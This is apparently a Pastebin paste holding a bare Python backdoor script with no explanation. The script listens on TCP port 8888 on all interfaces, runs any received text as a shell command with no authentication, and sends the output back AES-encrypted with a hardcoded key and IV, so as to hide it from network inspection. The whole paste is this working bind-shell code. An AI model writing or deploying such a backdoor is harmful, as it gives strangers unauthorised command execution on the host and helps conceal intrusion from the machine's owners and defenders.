Advertisement
Guest User

Untitled

a guest
Jul 21st, 2019
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | None | 0 0
  1. from Crypto.Cipher import AES
  2. import base64, socket, subprocess
  3.  
  4. BLOCK_SIZE=16
  5. pad = lambda s: s + '\x00'*(BLOCK_SIZE - len(s) % BLOCK_SIZE)
  6. SIZE = 1024
  7.  
  8. aes = AES.new('1q2w3e4r1q2w3e4r', AES.MODE_CBC, 'r4e3w2q1r4e3w2q1')
  9.  
  10. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. s.bind(('0.0.0.0', 8888))
  12. s.listen(0)
  13. while True:
  14. c, _ = s.accept()
  15. cmd = c.recv(SIZE)
  16. c.sendall(base64.b64encode(aes.encrypt(pad(subprocess.check_output(cmd, shell=True)))))
  17. c.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement